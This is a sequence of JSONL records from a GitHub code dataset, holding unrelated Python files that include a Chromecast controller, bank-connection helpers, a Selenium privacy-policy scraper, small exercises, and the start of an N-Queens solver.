supporting_app_id\n self.target_platform = target_platform\n\n self._socket_client = None\n self._message_func = None\n\n self.logger = logging.getLogger(__name__)\n\n @property\n def is_active(self):\n \"\"\" True if the controller is connected to a socket client and the\n Chromecast is running an app that supports this controller. \"\"\"\n return (self._socket_client is not None and\n self.namespace in self._socket_client.app_namespaces)\n\n def launch(self, callback_function=None):\n \"\"\" If set, launches app related to the controller. \"\"\"\n self._check_registered()\n\n self._socket_client.receiver_controller.launch_app(\n self.supporting_app_id, callback_function=callback_function)\n\n def registered(self, socket_client):\n \"\"\" Called when a controller is registered. \"\"\"\n self._socket_client = socket_client\n\n if self.target_platform:\n self._message_func = self._socket_client.send_platform_message\n else:\n self._message_func = self._socket_client.send_app_message\n\n def channel_connected(self):\n \"\"\" Called when a channel has been openend that supports the\n namespace of this controller. \"\"\"\n pass\n\n def channel_disconnected(self):\n \"\"\" Called when a channel is disconnected. \"\"\"\n pass\n\n def send_message(self, data, inc_session_id=False,\n callback_function=None):\n \"\"\"\n Send a message on this namespace to the Chromecast.\n\n Will raise a NotConnected exception if not connected.\n \"\"\"\n self._check_registered()\n\n if not self.target_platform and \\\n self.namespace not in self._socket_client.app_namespaces:\n if self.supporting_app_id is not None:\n self.launch()\n\n else:\n raise UnsupportedNamespace(\n (\"Namespace {} is not supported by running\"\n \"application.\").format(self.namespace))\n\n return self._message_func(\n self.namespace, data, inc_session_id, callback_function)\n\n # pylint: disable=unused-argument,no-self-use\n def receive_message(self, message, data):\n \"\"\"\n Called when a message is received that matches the namespace.\n Returns boolean indicating if message was handled.\n \"\"\"\n return False\n\n def tear_down(self):\n \"\"\" Called when we are shutting down. \"\"\"\n self._socket_client = None\n self._message_func = None\n\n def _check_registered(self):\n \"\"\" Helper method to see if we are registered with a Cast object. \"\"\"\n if self._socket_client is None:\n raise ControllerNotRegistered((\n \"Trying to use the controller without it being registered \"\n \"with a Cast object.\"))\n","repo_name":"haynieresearch/jarvis","sub_path":"deps/lib/python3.4/site-packages/pychromecast/controllers/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3653,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"78"} +{"seq_id":"37515815424","text":"from app_backend.helpers.saltedge_client import initiate_saltedge_client\nfrom app_backend.helpers.saltedge_urls import GET_CONNECTIONS_INFO_URL, ACCOUNT_INFO_URL\nfrom app_backend.models.user_connection import SaltEdgeAccountFetchStatus, SaltEdgeConnectSessionStatus\nfrom app_backend.models.bank_provider import BankProvider\nfrom app_backend.models.user_connection import UserConnection\nfrom app_backend.models.account import AccountDefaults, AccountNature\nfrom app_backend.models.country import Country\nimport traceback\nfrom app_backend.helpers.account_helper import fetch_transactions_for_accounts_linked\n\n\ndef update_saltedge_connection_success(se_connection_id, user_connection_id):\n user_connection_obj = UserConnection.objects.get(id=user_connection_id)\n user_connection_obj.se_connection_id = se_connection_id\n user_connection_obj.se_conn_session_status = SaltEdgeConnectSessionStatus.CALLBACK_SUCCESS.value\n user_connection_obj.save()\n if update_if_account_fetch_success(user_connection_obj):\n fetch_accounts_from_saltedge(user_connection_obj)\n return True\n else:\n print(\"Account update skipping as the accounts are not fetched into Saltedge.\")\n return False\n\n\ndef update_if_account_fetch_success(user_connection):\n client = initiate_saltedge_client()\n headers = client.generate_headers()\n headers['Customer-secret'] = user_connection.app_user.se_customer_secret\n response = client.get(GET_CONNECTIONS_INFO_URL + \"/\" + user_connection.se_connection_id)\n connection_data = response.json()['data']\n try:\n last_attempt = connection_data['last_attempt']\n fetch_status = last_attempt['last_stage']['name']\n if fetch_status == SaltEdgeAccountFetchStatus.FINISH.value:\n country = Country.objects.get(se_country_code=connection_data['country_code'])\n user_connection.bank_provider = BankProvider.create_or_return_bank_provider(\n connection_data=connection_data,\n country=country,\n )\n user_connection.country = country\n user_connection.se_connection_secret = connection_data['secret']\n user_connection.se_conn_session_status = SaltEdgeConnectSessionStatus.ACCOUNT_FETCH_SUCCESS.value\n user_connection.save()\n return True\n except Exception:\n # TODO: Handle exceptions here\n print(traceback.print_exc())\n pass\n\n return False\n\n\ndef fetch_accounts_from_saltedge(user_connection):\n # TODO: Fetch holder info -> BankCustomerInfo - Deferring this.\n client = initiate_saltedge_client()\n headers = client.generate_headers()\n headers['Customer-secret'] = user_connection.app_user.se_customer_secret\n response = client.get(ACCOUNT_INFO_URL + \"?connection_id=\" + user_connection.se_connection_id)\n print(\"response for accounts is \", response.json())\n accounts = response.json()['data']\n accounts_in_db = []\n for account in accounts:\n accounts_in_db.append(create_or_return_account_for_user_conn(user_connection, account))\n fetch_transactions_for_accounts_linked(accounts_in_db)\n\n\ndef create_or_return_account_for_user_conn(user_connection, saltedge_account_response):\n user_bank_account = saltedge_account_response[\"name\"]\n user_account = user_connection.account_set.filter(se_bank_account_id=user_bank_account).first()\n if user_account is not None:\n user_connection.account_set.filter(se_bank_account_id=user_bank_account).update(\n se_balance=saltedge_account_response[\"balance\"])\n return user_account\n\n se_account_holder_name = _set_account_holder_name(saltedge_account_response)\n card_type = None\n if saltedge_account_response[\"nature\"].upper() == AccountNature.CREDIT_CARD:\n card_type = saltedge_account_response[\"extra\"][\"card_type\"]\n available_amount = saltedge_account_response[\"extra\"].get(\"available_amount\")\n\n return user_connection.account_set.create(\n se_account_id=saltedge_account_response[\"id\"],\n se_bank_account_id=user_bank_account,\n se_balance=saltedge_account_response[\"balance\"],\n se_currency=saltedge_account_response[\"currency_code\"],\n se_account_nature=saltedge_account_response[\"nature\"],\n se_account_holder_name=se_account_holder_name,\n app_user_id=user_connection.app_user.id,\n country_id=user_connection.country.id,\n card_type=card_type,\n )\n\n\ndef _set_account_holder_name(saltedge_account_response):\n se_account_holder_name = AccountDefaults.DEFAULT_ACCOUNT_HOLDER_NAME\n if \"account_name\" in saltedge_account_response[\"extra\"]:\n se_account_holder_name = saltedge_account_response[\"extra\"][\"account_name\"]\n elif \"client_name\" in saltedge_account_response[\"extra\"]:\n se_account_holder_name = saltedge_account_response[\"extra\"][\"client_name\"]\n return se_account_holder_name\n","repo_name":"Wise-Economy/wise_economy_backend","sub_path":"app_backend/helpers/user_connection_helper.py","file_name":"user_connection_helper.py","file_ext":"py","file_size_in_byte":4903,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"39207069400","text":"# -*- coding: UTF-8 -*-\n\nimport argparse\nfrom bs4 import BeautifulSoup\nimport datetime\nimport hashlib\nimport logging\nimport multiprocessing\nimport os\nimport selenium\nimport sys\nimport time\nimport pickle\nimport tldextract\nimport queue\nimport requests\nimport io\n\n# from pyPdf import PdfFileReader\nfrom tika import parser\nfrom tqdm import tqdm\nfrom selenium import webdriver\nfrom selenium.webdriver.remote.command import Command\n\nlogger = logging.getLogger(__name__)\nlogger.addHandler(logging.StreamHandler(sys.stdout))\n\n###############################################################################\n# Define classes.\n###############################################################################\n\nclass PrivacyPolicy:\n def __init__(self, url, is_active=0):\n self.url = url\n self.url_md5 = hashlib.md5(url.encode('utf-8')).hexdigest()\n self.is_active = is_active\n\n domain = tldextract.extract(url)\n self.domain = '.'.join(x for x in domain if x is not None).strip().strip('.') # Domains can't start or end with spaces or dots\n\n def __str__(self):\n return 'url=%s,domain=%s,url_md5=%s,is_active=%d' % (self.url, self.domain, self.url_md5, self.is_active)\n\n def __hash__(self):\n return hash(self.url_md5)\n\n def __eq__(self, other):\n return isinstance(other, self.__class__) and \\\n self.url_md5 == other.url_md5\n\nclass ParallelArg:\n def __init__(self, policy, output_dir, utc_date=None, check_date=None, browser_language='en-US, en', verbose=False):\n self.policy = policy\n self.output_dir = output_dir\n self.check_date = check_date\n self.utc_date = utc_date\n self.browser_language = browser_language\n self.verbose = verbose\n\n###############################################################################\n# Setup and helper functions.\n###############################################################################\n\ndef _parse_args():\n parser = argparse.ArgumentParser(description='Download privacy policies, optionally update the DB')\n parser.add_argument('input_path', help='Path to file where policy urls are located.')\n parser.add_argument('output_dir', help='Path to directory where policies will be saved. Creates directory structure /////')\n parser.add_argument('--processes', '-p', default=multiprocessing.cpu_count(), type=int, help='Number of processes to use')\n parser.add_argument('--check_previous', '-c', default=False, action='store_true', help='Boolean indicating whether to check against previous policies')\n parser.add_argument('--language', '-l', default='en-US, en', help='Language string to set in Firefox\\'s intl.accept_languages option. Defaults to \"en_US, en\"')\n parser.add_argument('--verbose', '-v', action='store_true', help='Enable verbose logging')\n return parser.parse_args()\n\ndef _enable_verbose_logging(enable):\n logging.basicConfig()\n if(enable):\n logger.setLevel(logging.INFO)\n\ndef get_urls_from_file(input_file):\n # Get information about apps.\n with open(input_file, 'r') as f:\n policy_urls = f.read().split('\\n')\n return policy_urls\n\ndef _write_file(content, output, write_mode='w'):\n with open(output, write_mode) as out_file:\n out_file.write(content)\n\n###############################################################################\n# Content extractors.\n###############################################################################\n\ndef _extract_pdf(pdf_content):\n \"\"\"\n From https://stackoverflow.com/questions/45470964/python-extracting-text-from-webpage-pdf\n \"\"\"\n f = io.BytesIO(pdf_content)\n\n # First try using Tika parser, which gives better results.\n raw = parser.from_buffer(f)\n content = raw['content'] if 'content' in raw else ''\n\n # If that does not work, use PdfFileReader. Note: requires many dependencies.\n # reader = PdfFileReader(f)\n # if content is None or content == '':\n # N = reader.getNumPages()\n # content = [reader.getPage(i).extractText().strip() for i in range(N)]\n # content = '\\n'.join(content)\n\n return content.strip()\n\ndef _extract_google_docs(html):\n chunks = html.split('\"s\":\"')[1:]\n chunks = [x.split('\"},')[0].replace('\\\\n', '\\n').replace('\\\\u000b', '\\n') for x in chunks]\n text = ''.join(chunks).strip()\n return text\n\ndef _extract_text(html):\n \"\"\"\n From https://stackoverflow.com/questions/328356/extracting-text-from-html-file-using-python\n \"\"\"\n soup = BeautifulSoup(html, 'lxml')\n\n for script in soup(['script','style']):\n script.extract()\n\n text = soup.get_text(separator=' ')\n lines = (line.strip() for line in text.splitlines())\n chunks = (phrase.strip() for line in lines for phrase in line.split(' '))\n text = '\\n'.join(chunk for chunk in chunks if chunk)\n\n return text\n\n###############################################################################\n# Zombie processes killers.\n###############################################################################\n\ndef _kill_zombies_parallel_wrapper(q, zombie_timeout=300):\n while True:\n time.sleep(zombie_timeout)\n _kill_zombies(zombie_timeout=zombie_timeout)\n try:\n q.get_nowait()\n logger.info('Kill zombies queue no longer empty, terminating process')\n break\n except queue.Empty:\n continue\n\ndef _kill_zombies(zombie_timeout=5):\n if(os.name == 'posix'):\n logger.info('Killing hung geckodriver and firefox processes running for more than %d seconds' % zombie_timeout)\n os.system('ps -eo pid,ppid,etime,command | grep geckodriver | grep -v grep | awk \\'{if (int(substr($3,0,2)) > %d) {print $1,$2}}\\' | xargs kill -9 || true > /dev/null 2>&1' % zombie_timeout)\n os.system('ps -eo pid,ppid,etime,command | grep \"firefox -marionette\" | grep -v grep | awk \\'{if (int(substr($3,0,2)) > %d) {print $1,$2}}\\' | xargs kill -9 || true > /dev/null 2>&1' % zombie_timeout)\n else:\n logger.warning('Can\\'t kill zombie processes on non-posix system \"%s\"' % os.name)\n\n###############################################################################\n# Main download policy function.\n###############################################################################\n\ndef download_policy(policy, output_dir, check_date=None, utc_date=None, browser_language='en-US, en', browser_max_tries=10, browser_page_load_timeout=30):\n '''\n Output files:\n --[--]--\n - .html: HTML content dump from URL\n - .txt: Text content extraction from HTML\n - .png: Full-screen content screenshot from URL\n - .url: Text file containing URL\n - .md5: MD5 hex digest of the raw file\n '''\n assert isinstance(policy, PrivacyPolicy), 'policy argument must be of type PrivacyPolicy'\n assert os.path.isdir(output_dir), 'Output directory %s does not exist' % output_dir\n\n if(utc_date is None):\n utc_date = datetime.datetime.utcnow().strftime('%Y%m%d')\n logger.info('utc_date was None, setting to %s' % utc_date)\n\n filename_parts = [policy.domain, policy.url_md5, utc_date]\n output_filename = '--'.join(x for x in filename_parts if x is not None)\n\n logger.info('Downloading privacy policy %s into %s' % (policy.url, output_dir))\n\n ff_driver = None\n try:\n ff_opts = webdriver.FirefoxOptions()\n ff_opts.add_argument('--headless')\n ff_opts.add_argument('--private')\n ff_prof = webdriver.FirefoxProfile()\n ff_prof.set_preference('intl.accept_languages', browser_language)\n while(ff_driver is None and browser_max_tries > 0):\n try:\n logger.info('Initializing Firefox web driver for %s' % policy.url)\n ff_driver = webdriver.Firefox(options=ff_opts, firefox_profile=ff_prof)\n logger.info('Firefox driver initialized for %s' % policy.url)\n except:\n browser_max_tries = browser_max_tries - 1\n logger.exception('Exception while creating Firefox driver for %s. Will try %d more times.' % (policy.url, browser_max_tries))\n assert ff_driver is not None, 'Firefox web driver failed to initialize for %s' % policy.url\n ff_driver.set_page_load_timeout(browser_page_load_timeout)\n logger.info('Getting %s' % policy.url)\n ff_driver.get(policy.url)\n logger.info('Got %s' % policy.url)\n\n # Extract text from documents.\n page_source = ff_driver.page_source\n if policy.url.endswith('.pdf'):\n response = requests.get(policy.url, verify=False)\n extracted_text = _extract_pdf(response.content)\n elif policy.domain == 'docs.google.com' and '\"s\":\"' in page_source:\n extracted_text = _extract_google_docs(page_source)\n else:\n extracted_text = _extract_text(page_source)\n\n # Check if policy has been updated based on the text of the policy.\n check_dir, check_file_path = None, None\n while check_date is not None:\n filename_parts_past = [policy.domain, policy.url_md5, check_date]\n check_filename = '--'.join(x for x in filename_parts_past if x is not None)\n check_output_dir = os.path.abspath(os.path.join(os.path.abspath(output_dir), '..', '..', '..', check_date))\n check_dir = os.path.join(check_output_dir, policy.domain, policy.url_md5)\n\n if os.path.exists(os.path.join(check_dir, 'output.out')):\n with open(os.path.join(check_dir, 'output.out')) as date_file:\n check_date = date_file.read()\n else:\n break\n\n # Check if the current policy matches the previous one, if possible.\n if check_dir is not None and os.path.exists(check_dir):\n check_output_file = '%s.txt' % check_filename\n check_file_path = os.path.join(check_dir, check_output_file)\n\n # If policy has not been updated, write an output.out file.\n if check_file_path is not None and os.path.exists(check_file_path):\n with open(check_file_path) as prev_txt:\n policy_updated = extracted_text != prev_txt.read()\n if policy_updated:\n logger.info('There is an updated privacy policy for %s - scraping', policy.url)\n else:\n logger.info('No difference found between previous policy for %s - exiting', policy.url)\n _write_file(check_date, os.path.join(output_dir, 'output.out'))\n return\n\n output_url = '%s.url' % output_filename\n logger.info('Saving %s as URL file %s' % (policy.url, output_url))\n _write_file(policy.url, os.path.join(output_dir, output_url))\n\n output_html = '%s.html' % output_filename\n logger.info('Saving %s as HTML dump %s' % (policy.url, output_html))\n _write_file(page_source, os.path.join(output_dir, output_html))\n\n output_txt = '%s.txt' % output_filename\n logger.info('Saving %s as text extraction %s' % (policy.url, output_txt))\n _write_file(extracted_text, os.path.join(output_dir, output_txt))\n\n output_md5 = '%s.md5' % output_filename\n logger.info('Saving %s\\'s MD5 sum as %s' % (policy.url, output_md5))\n file_md5 = hashlib.md5(open(os.path.join(output_dir, output_html), 'rb').read()).hexdigest()\n _write_file(file_md5, os.path.join(output_dir, output_md5))\n\n output_png = '%s.png' % output_filename\n logger.info('Saving %s as PNG screenshot %s' % (policy.url, output_png))\n ff_html = ff_driver.find_element_by_tag_name('html')\n ff_html.screenshot(os.path.join(output_dir, output_png))\n\n if not policy.url.endswith('.pdf'):\n return\n\n output_pdf = '%s.pdf' % output_filename\n logger.info('Saving %s associated PDF file %s' % (policy.url, output_pdf))\n _write_file(response.content, os.path.join(output_dir, output_pdf), write_mode='wb')\n\n\n except Exception as e:\n logger.exception('Error while downloading policy.url: %s' % policy.url)\n\n finally:\n if(ff_driver is not None):\n try:\n logger.info('Closing Firefox web driver for %s' % policy.url)\n ff_driver.quit()\n logger.info('ff_driver.quit() success for %s' % policy.url)\n return\n except:\n logger.exception('Error while closing Firefox web driver for: %s' % policy.url)\n else:\n logger.warning('ff_driver is None for %s' % policy.url)\n\ndef _download_policy_parallel_wrapper(parallel_arg):\n logger = logging.getLogger(__name__)\n _enable_verbose_logging(parallel_arg.verbose)\n\n assert isinstance(parallel_arg, ParallelArg), 'Argument to _download_policy_parallel_wrapper must be of type ParallelArg'\n\n assert not os.path.isfile(parallel_arg.output_dir), 'Policy output directory %s already exists as a file'\n if(not os.path.isdir(parallel_arg.output_dir)):\n logger.info('Creating policy output directory %s' % parallel_arg.output_dir)\n os.makedirs(parallel_arg.output_dir)\n assert os.path.isdir(parallel_arg.output_dir), 'Policy output directory %s does not exist' % parallel_arg.output_dir\n\n # Only scrape if empty.\n file_num = len(os.listdir(parallel_arg.output_dir))\n if file_num > 0:\n logger.info('Policy output directory {} has {} files; skipping'.format(parallel_arg.output_dir, file_num))\n return\n\n download_policy(parallel_arg.policy, \\\n parallel_arg.output_dir, \\\n check_date=parallel_arg.check_date, \\\n utc_date=parallel_arg.utc_date, \\\n browser_language=parallel_arg.browser_language)\n\ndef _download_policies(policies, output_dir, language, verbose, check_previous, processes=multiprocessing.cpu_count()):\n unique_policies = set(policies)\n logger.info('Attempting to download %d policies' % len(unique_policies))\n logger.info('output_dir=%s, language=%s' % (output_dir, language))\n\n # Create the tagged output directory ///, if necessary\n utc_date = datetime.datetime.utcnow().strftime('%Y%m%d')\n tagged_output_dir = os.path.join(os.path.abspath(output_dir), utc_date) #, region_tag)\n assert not os.path.isfile(tagged_output_dir), 'Tagged output directory %s already exists as a file'\n if(not os.path.isdir(tagged_output_dir)):\n logger.info('Creating tagged output directory %s' % tagged_output_dir)\n os.makedirs(tagged_output_dir)\n assert os.path.isdir(tagged_output_dir), 'Tagged output directory %s does not exist' % tagged_output_dir\n\n # Set up the process to kill hung geckodrivers\n logger.info('Setting up geckodriver killer')\n queue = multiprocessing.Queue()\n killer_process = multiprocessing.Process(target=_kill_zombies_parallel_wrapper, args=(queue,))\n killer_process.start()\n\n # Calculate date to check by if update argument is true\n check_date = None\n if check_previous:\n directory_dates = []\n for d in os.listdir(os.path.abspath(output_dir)):\n if d != utc_date:\n try:\n directory_dates.append(datetime.datetime.strptime(d, '%Y%m%d'))\n except ValueError:\n pass\n check_date = max(directory_dates).strftime('%Y%m%d') if len(directory_dates) > 0 else None\n\n # Download the policies\n logger.info('Parallelizing downloads over %d processes' % processes)\n parallel_args = [ParallelArg(x, \\\n os.path.join(tagged_output_dir, x.domain, x.url_md5), \\\n utc_date=utc_date, \\\n browser_language=language, \\\n check_date=check_date, \\\n verbose=verbose) \\\n for x in unique_policies]\n\n with multiprocessing.Pool(processes=processes) as pool:\n r = list(tqdm(pool.imap_unordered(_download_policy_parallel_wrapper, parallel_args), total=len(parallel_args)))\n\n # Kill the geckodriver killer process\n logger.info('Stopping the geckodriver killer process')\n queue.put(True)\n queue.close()\n queue.join_thread()\n killer_process.join()\n\n###############################################################################\n# Main function.\n###############################################################################\n\nif __name__ == '__main__':\n args = _parse_args()\n _enable_verbose_logging(enable=True)\n assert (args.output_dir is not None), 'Must specify output directory'\n assert (args.input_path is not None), 'Must specify file containing policy urls'\n\n processes = args.processes\n if processes is None:\n processes = 1\n assert (isinstance(processes, int) and processes > 0), 'Must specify positive number of processes'\n\n # Load privacy policies.\n policy_urls = get_urls_from_file(args.input_path)\n\n # Policy URLs should be list of PrivacyPolicy objects.\n policies = [PrivacyPolicy(url) for url in policy_urls]\n\n # Download policies\n _download_policies(policies, args.output_dir, args.language, args.verbose, args.check_previous, processes=processes)\n","repo_name":"blues-lab/polipy","sub_path":"polipy/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":17307,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"78"} +{"seq_id":"43607664611","text":"from rich.console import Console\n\nclass Parser:\n def __init__(self) -> None:\n self.svn_addr = None\n self.disk = None\n self.project = None\n self.department = None\n self.user = None\n\n def parse_config_file(self, file):\n with open(file, \"r\") as f:\n while True:\n line = f.readline()\n if not line:\n break\n if line == '\\n':\n continue\n line = line.replace('\\n', '')\n key = line.split(\"=\")[0]\n value = line.split(\"=\")[1]\n exec(f\"self.{key} = \\\"{value}\\\"\")\n\n def get_user(self):\n pass\n\n def gen_ws_path(self):\n return f\"/remote/{self.disk}/{self.project}a/{self.department}/{self.user}/svnwork/{self.project}a_l/trunk/{self.department}/dv/v1.0\"\n\n def print(self):\n c = Console()\n c.print(vars(self))","repo_name":"LitchiKnight/dsim","sub_path":"init/ws_parser.py","file_name":"ws_parser.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"12019777532","text":"lb = int(input(\"Enter the lower bound: \"))\nub = int(input(\"Enter the upper bound: \"))\n\nchk = 0\ncount = 0\ncounttwodigit = 0\n\nfor i in range(lb, ub+1):\n for j in range(2, i//2+1):\n if i%j == 0:\n chk = chk+1\n break\n \n if chk == 0 and i != 1:\n print(i, end = \" \")\n if i > 10:\n counttwodigit = counttwodigit + 1\n count = count+1\n \n chk = 0\n\n\nprint(\"\\nThere are\",count, end=\" Prime nos\")\nprint(\"\\nThere are\",counttwodigit, end=\" two digit Prime nos\")","repo_name":"joyjeetcoding/codecontributions","sub_path":"Python/pythoncount.py","file_name":"pythoncount.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32394854225","text":"n1 = int(input('Digite um valor: '))\nn2 = int(input('Digite um valor: '))\n\ns = n1 + n2\nm = n1 * n2\nd = n1 / n2\ndi = n1 // n2\ne = n1 ** n2\n\n# :.2f (2 pontos flutuantes) \n# \\n (new line)\n# end=' ' ou end = ' +++ '(não quebra linha com ou sem símbolos)\n\nprint('A soma é {} \\nA multiplicação é {} A divisão é {:.2f}' .format(s, m, d), end=' ') # 2 pontos flutuantes\nprint('A divisão inteira é {} A potência é {}' .format(di, e), end=' :) ')\n","repo_name":"udanielnogueira/Python.Treinamento1","sub_path":"mundo-1/3-4-math.py","file_name":"3-4-math.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17476162641","text":"from pathlib import Path\n\nfrom ..models.chunks import Chunk\nfrom ..models.models import DBSession\nfrom ..models.videos import Video\n\n\nclass VideoService:\n @staticmethod\n def add(video_name: str, playlist_files: list[Path], chunk_duration: int = 1) -> Video:\n with DBSession() as session:\n objects = []\n\n video = Video(name=video_name)\n session.add(video)\n session.commit()\n objects.append(video)\n\n for i, playlist_path in enumerate(playlist_files):\n objects.append(\n Chunk(\n start_second=i * chunk_duration,\n duration=chunk_duration,\n path=str(playlist_path),\n video_id=video.id,\n )\n )\n\n session.bulk_save_objects(objects)\n session.commit()\n session.refresh(video)\n return video\n\n @staticmethod\n def get_playlist_with_chunks(video_id: int):\n with DBSession() as session:\n video: Video = session.query(Video).filter(Video.id == video_id).all()[0]\n return video.as_dict(with_related=True)\n","repo_name":"AlexeyVatolin/video_service","sub_path":"service/services/video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16392835209","text":"from vectorizor import Vectorizor\nimport db_access\nimport time\nimport sys\n\ndef make_vector_importer(db, stop_words_file, all_tags = {}, words = {}):\n db_access.read_stat_info_from_db(db, all_tags, words)\n stop_words = [line[:-1] for line in open(stop_words_file)]\n vectorizor = Vectorizor(all_tags, words, stop_words)\n\n def _import_vector(post_type, post):\n if post_type == \"question\":\n content = \"%s %s\" % (post[\"Body\"], post[\"Title\"])\n vector, tags = vectorizor.vectorize(content,\n post[\"Tags\"])\n vector_doc = \\\n {\n \"id\": post[\"Id\"],\n # title can help us to locate the original question via the www\n \"title\": post[\"Title\"],\n \"posts\": [vector.items()],\n \"tags\": tags\n }\n db.vectors_table.insert(vector_doc)\n else:\n vector, tags = vectorizor.vectorize(post[\"Body\"], {})\n parent_id = post[\"ParentId\"]\n db.vectors_table.update(\n {\"id\": parent_id},\n {\"$push\": {\"posts\": vector.items()}})\n\n return _import_vector\n\ndef make_post_importer(db):\n def _import_post(post_type, post):\n if post_type == \"question\":\n db.question_table.insert(post)\n elif post_type == \"answer\":\n parent_id = post[\"ParentId\"]\n db.question_table.update({\"Id\": parent_id},\n {\"$push\": {\"Answers\": post}})\n else:\n assert(False)\n return _import_post\n\n","repo_name":"StackResys/Stack-Resys","sub_path":"src/data-processing/importor.py","file_name":"importor.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"29990042709","text":"z = {1, 2, 3, 4, 5}\r\nx = {3, 4, 5, 6, 7}\r\nv = {5, 6, 7, 8, 9}\r\nz.add(6) # Добавить\r\nz.discard(1) # Удалить\r\nz.remove(2) # Удалить при отсутствии будет ошибка\r\ny = z.union(x) # Объединить\r\nv.update(z) # Объединить\r\nt = v.intersection(x) # Объединить\r\ne = v.difference(x) # Показывает те значения которые не дублируются\r\n\r\nprint(z)\r\nprint(y)\r\nprint(v)\r\nprint(t)\r\nprint(e)\r\n","repo_name":"izuma18/Lesson","sub_path":"21.2 Множества, тип данных set.py","file_name":"21.2 Множества, тип данных set.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1884064598","text":"import numpy as np\r\nfrom scipy import stats\r\n\r\ndef mappingToRequiredScale(value):\r\n\tnp.set_printoptions(suppress=True)\r\n\t\r\n\tnewValue = 0\r\n\tif value>=0:\r\n\t\tnewValue = 1 + (2 * value)\r\n\telse:\r\n\t\tnewValue = 1 + (2 * (0-value))\r\n\t\tnewValue = 1/newValue\r\n\r\n\tif newValue < 0.1111:\r\n\t\tnewValue = 0.1111\r\n\telif newValue > 9:\r\n\t\tnewValue = 9\r\n\r\n\treturn round(newValue, 4)","repo_name":"ishwortimilsina/crowd_ahp","sub_path":"map_to_scale.py","file_name":"map_to_scale.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32270769898","text":"from __future__ import annotations\nimport requests\nimport os\nfrom chessbots.lib.bot import Bot, BotDataCollector\nfrom chessbots.lib.captcha import Captcha\n\n\nclass ChainDataCollector(BotDataCollector):\n def __init__(self, collectors: [BotDataCollector]):\n self.collectors = collectors\n\n def get_data(self, bot: Bot):\n data = bot.data\n for collector in self.collectors:\n data = data | collector.get_data(bot)\n return data\n\n\nclass RobotApiCollector(BotDataCollector):\n def __init__(self, cache_path: str):\n self.cache_path = cache_path\n\n def get_data(self, bot: Bot):\n try:\n data = requests.get(bot.host_name).json()\n except requests.exceptions.RequestException as e: # This is the correct syntax\n data = {'state': 'offline', 'url': bot.host_name}\n print('robot sensor: failed to load bot info', data, e)\n\n if 'image_live' in data:\n img_cache_path = os.path.join(self.cache_path, bot.id + '_position.jpeg')\n try:\n r = requests.get(data.get('live_image'))\n open(img_cache_path, 'wb').write(r.content)\n data['position_local_filename'] = img_cache_path\n except requests.exceptions.RequestException as e:\n print('robot sensor: failed to load image: ', data['live_image'])\n return data\n\n\nclass CaptchaReaderCollector(BotDataCollector):\n def get_data(self, bot: Bot):\n if 'position_local_filename' not in bot.data.keys():\n return bot.data\n data = bot.data\n captcha = Captcha(data['position_local_filename'])\n data['captcha_angle'] = captcha.angle\n data['captcha_board'] = captcha.board.txt()\n data['position'] = captcha.position\n\n return data\n","repo_name":"kolibri/chessbots","sub_path":"chessbots/lib/bot/data_collector.py","file_name":"data_collector.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"17196526378","text":"\n# Probabilities that offspring will have dominant trait:\n# k/_ => 4/4\n# m/m => 3/4\n# n/m => 2/4\n\nk = 2\nm = 2\nn = 2\nT = k + m + n * 1.0\n\n# Each outcome can be plotted on a tree with 3 branches\n# from the root (k, m, n) and three more branches from\n# each of those first set of leaves:\n#\n# k\n# /\n# k - m\n# / \\\n# / n\n#R - m ...\n# \\ n ...\n\n# The following equation computes each possible outcome\n# and multiplies the probability of each outcome by the\n# probability that the outcome can result in an offspring\n# with a dominant trait\nprint \\\n (1.0 * ((n/T) * ((k)/(T-1)))) + \\\n (.50 * ((n/T) * ((m)/(T-1)))) + \\\n (1.0 * ((k/T) * ((n)/(T-1)))) + \\\n (1.0 * ((k/T) * ((k-1)/(T-1)))) + \\\n (1.0 * ((k/T) * ((m)/(T-1)))) + \\\n (.50 * ((m/T) * ((n)/(T-1)))) + \\\n (1.0 * ((m/T) * ((k)/(T-1)))) + \\\n (.75 * ((m/T) * ((m-1)/(T-1))))\n\n# Notes:\n#Pr(X=k) = k/T\n#Pr(X=m) = m/T\n#\n#X=k, Pr(Y=k)=(k-1)/(T-1) => (k/T) (k-1)/(T-1)\n#X=k, Pr(Y=m)=(m)/(T-1) => (k/T) (m)/(T-1)\n#X=m, Pr(Y=k)=(k)/(T-1) => (m/T) (k)/(T-1)\n#X=m, Pr(Y=m)=(m)/(T-1) => (m/T) (m-1)/(T-1) * 1/2\n","repo_name":"justinethier/rosalind","sub_path":"src/iprb.py","file_name":"iprb.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"39227179908","text":"# 퀸은 한 행에 하나씩만 가능\n# 같은 열 체크 + 왼쪽 아래 대각선 + 오른쪽 아래 대각선 체크\n# 끝까지 재귀 성공하면 ans += 1\n\n\nn = int(input())\nrow = [0] * n\n\n\ndef is_promising(x):\n for i in range(x):\n if row[x] == row[i] or abs(row[x] - row[i]) == abs(x - i):\n return False\n return True\n\n\ndef n_queens(x):\n global ans\n if x == n:\n ans += 